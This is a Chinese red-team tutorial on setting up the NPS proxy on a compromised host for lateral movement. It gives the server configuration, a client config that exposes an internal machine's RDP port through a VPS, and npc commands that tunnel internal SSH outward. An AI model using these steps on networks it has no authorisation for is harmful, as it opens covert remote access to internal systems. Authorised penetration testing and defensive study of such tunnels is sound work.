0x01 前言

在红队HW中通过前期的打点获得shell后通常下一步就是对内网进行横向,获得shell进想要行横向的前提是我们必须有代理可以访问内网中的资产,这时候我们就需要通过拿到shell的那台机器权限,在此台机上传代理工具进行配置搭建内网代理,目的达到内网出网的效果,使我们能够进行下一步的内网横向渗透。在hw中经常用到的代理工具有很多,根据不同之需和个人不同的使用习惯选择不同工具进行使用,本文主要对NPS这款代理工具进行介绍。

0x02 简介

nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。

工具获取:https://github.com/ehang-io/nps

特点:

  1. 支持多种协议,兼容几乎所有常用协议,例如tcp,udp,http(s),socks5,p2p,http代理…
  2. 全面的平台兼容性(Linux,Windows,MacOS,Synology等),仅支持将安装作为系统服务进行。
  3. 全面控制,允许客户端和服务器控制。
  4. Https集成,支持将后端代理和Web服务转换为https,并支持多个证书。
  5. 只需在Web ui上进行简单配置即可完成大多数要求。
  6. 完整的信息显示,例如流量,系统信息,实时带宽,客户端版本等。
  7. 强大的扩展功能,一切可用(缓存,压缩,加密,流量限制,带宽限制,端口重用等)
  8. 域名解析具有诸如自定义标题,404页面配置,主机修改,站点保护,URL路由和全景解析之类的功能。
  9. 服务器上的多用户和用户注册支持。

0x03 实验环境

NPS代理需要借助VPS进行中转,首先我们要根据VPS的系统和内网客户端系统下载对应的nps程序。这里我使用腾讯云的VPS作为服务端,系统为Ubuntu 18.04,内网分别采用VMware中centOS 7和Windows 7进行模拟,将内网代理到本地。


环境模拟1-客户端配置文件模式

环境拓扑:


服务端部署

根据vps的系统下载服务端程序并上传至vps,本文中使用的腾讯云Ubuntu18.04作为vps下载使用了安装包linux_amd64_server.tar.gz

解压文件包结构如下:

linux_amd64_server/
  - conf     ##配置文件目录
  - web       ##web文件目录
  - nps       ##nps运行文件

进入conf目录,可编辑nps.conf配置文件对部分选项进行配置,默认运行不需要进行任何配置即可运行

默认配置运行nps服务端启动会占用80,8080,8024端口,可根据需求对配置进行修改。


appname = nps
#Boot mode(dev|pro)
#启动模式
runmode = dev

#HTTP(S) proxy port, no startup if empty
#HTTP(S)代理端口,如果为空则不启动
http_proxy_ip=0.0.0.0
http_proxy_port=8081   #http监听端口,默认80
https_proxy_port=443
https_just_proxy=true
#default https certificate setting
#默认HTTPS证书设置
https_default_cert_file=conf/server.pem
https_default_key_file=conf/server.key

##bridge
##桥接
bridge_type=tcp
bridge_port=8024    ##客户端与服务端连接端口
bridge_ip=0.0.0.0

# Public password, which clients can use to connect to the server
# 公共密码,客户端可以使用它连接到服务器
# After the connection, the server will be able to open relevant ports and parse related domain names according to its own configuration file.
# 连接完成后,服务器就可以打开相关端口,根据自己的配置文件解析相关域名。
public_vkey=123

#Traffic data persistence interval(minute)
#流量数据持续时间间隔(分钟)
#Ignorance means no persistence
#flow_store_interval=1

# log level LevelEmergency->0  LevelAlert->1 LevelCritical->2 LevelError->3 LevelWarning->4 LevelNotice->5 LevelInformational->6 LevelDebug->7
# 日志等级设置
log_level=7
#log_path=nps.log

#Whether to restrict IP access, true or false or ignore
#是否限制IP访问,true、false或ignore
#ip_limit=true

#p2p代理
#p2p_ip=127.0.0.1
#p2p_port=6000

#web
web_host=            ##web管理端登录地址URL
web_username=admin  ##web管理端登录名
web_password=123    ##web管理端登录密码(注:正式环境建议更改)
web_port = 8080      ##web管理端访问端口
web_ip=0.0.0.0      ##web管理端登录地址默认0.0.0.0不需要修改
web_base_url=        ##管理端web路径,默认不需要指定
web_open_ssl=false  #管理端是否开启ssl
web_cert_file=conf/server.pem
web_key_file=conf/server.key
# if web under proxy use sub path. like http://host/nps need this.
#web_base_url=/nps

#Web API unauthenticated IP address(the len of auth_crypt_key must be 16)
#Remove comments if needed
#auth_key=test
auth_crypt_key =1234567812345678

#allow_ports=9001-9009,10001,11000-12000

#Web management multi-user login
#Web管理多用户登录
allow_user_login=false
allow_user_register=false
allow_user_change_username=false


#extension
allow_flow_limit=false
allow_rate_limit=false
allow_tunnel_num_limit=false
allow_local_proxy=false
allow_connection_num_limit=false
allow_multi_ip=false
system_info_display=false

#cache
http_cache=false
http_cache_length=100

#get origin ip
http_add_origin_header=false

#pprof debug options
#pprof_ip=0.0.0.0
#pprof_port=9999

#client disconnect timeout
#客户端断开连接超时
disconnect_timeout=60

运行服务端
./nps



访问服务端



2.客户端部署

客户端使用虚拟机win7模拟内网,下载对应版本客户端程序windows_amd64_client.tar.gz上传至内网主机


解压文件包结构如下:

 - conf       #客户端配置文件夹
  - npc.exe    #客户端运行程序

下载好客户端程序后解压压缩包,在客户端配置文件夹conf中找到npc.conf配置文件进行编辑。

这里我们使用客户端配置文件模式将客户端内网3389映射到公网vps43389端口实现远程访问内网主机。

3.客户端详细配置

在配置文件中将[common]和[tcp]之外的参数项删除,本次通过TCP代理实现内网3389端口映射,配置如下:

[common]
server_addr=1.1.1.1:8024   ## 服务端vps ip/域名:port
conn_type=tcp               ## 通信模式与服务端配置bridge中bridge_type=tcp设为一致
vkey=w4c7qokkqsfqzxeg       ## 端配置文件中的服务密钥,手动指定
auto_reconnection=true     ## 断线重连
max_conn=1000              
flow_limit=1000
rate_limit=1000
basic_username=11           ## 代理认证用户名
basic_password=3           ## 代理认证密码
web_username=user
web_password=1234
crypt=true                 ## 加密传输
compress=true               ## 压缩传输
#pprof_addr=0.0.0.0:9999
disconnect_timeout=60

[tcp]
mode=tcp
target_addr=192.168.138.135:3389  ##内网服务地址 ip:port
server_port=43389                  ##映射到vps端口

4.建立连接

登录服务端web控台,在“客户端-客户端列表”添加新增

添加设置如下图所示,注意:basic用户名和密码需与上文客户端配置中basic_username/basic_password一致、唯一验证秘钥有客户端配置中vkey一致。

保存后,继续新建连接隧道

在隧道列表中新增


设置代理模式、服务端口和内网地址


完成如上配置后,在客户端运行npc.exe

访问测试连接成功



通过客户端配置文件进行连接的方式需要修改配置文件的相关参数项,上文模拟中介绍了通过TCP代理内网3389的方式,在实际使用需求中对于其他代理模式配置大同小异,只需要在客户端配置选项中保留需要使用的代理模式参数进行配置,删除其他模式参数,在web管理端新建隧道选择相对应的代理模式即可。其他代理模式详细配置不再详细描述。


环境模拟2-客户端无配置文件模式

环境拓扑:


1.服务端部署

服务端的部署与上文相同不再重复说明。

在服务端web管理新建一个客户端连接。

填写新建参数,选择不通过客户端配置文件连接

新建完成后点击列表中的“+”号展开详情

在详情中给出客户端连接命令,注意这里给出的命令为linux运行命令,如果客户端使用Windows客户端时运行npc.exe

./npc -server=81.0.0.0:8024 -vkey=qwertasdfg -type=tcp     ##linux
npc.exe -server=81.0.0.0:8024 -vkey=qwertasdfg -type=tcp    ##windows

2.客户端部署

下载客户端对应的版本

上传至客户端进行解压

tar -zxvf linux_amd64_client.tar.gz

解压后不需要对配置文件进行修改。

3.建立连接

在客户端执行连接命令

./npc -server=81.0.0.0:8024 -vkey=qwertasdfg -type=tcp


刷新web管理页面查看连接成功

新建隧道设置代理模式使用TCP代理,设置服务端映射端口,内网ip服务端口


配置完成后本地使用vpsip映射端口访问内网ssh进行测试,如下图代理成功

其他代理模式设置在新建隧道时选择进行配置即可,不再一一列举

0x04 总结

使用nps时需要注意的问题:服务端默认配置启用了8024、80、443端口,如果端口冲突将导致无法启动,请注意修改配置。注意检查安全组防火墙规则,在nps使用过程中放相应的端口。

nps代理工具的部署使用配置相对于其他代理工具来说操作简单,nps服务端支持多客户端连接能够实时统计流量情况,通过web管理端更友好的管理。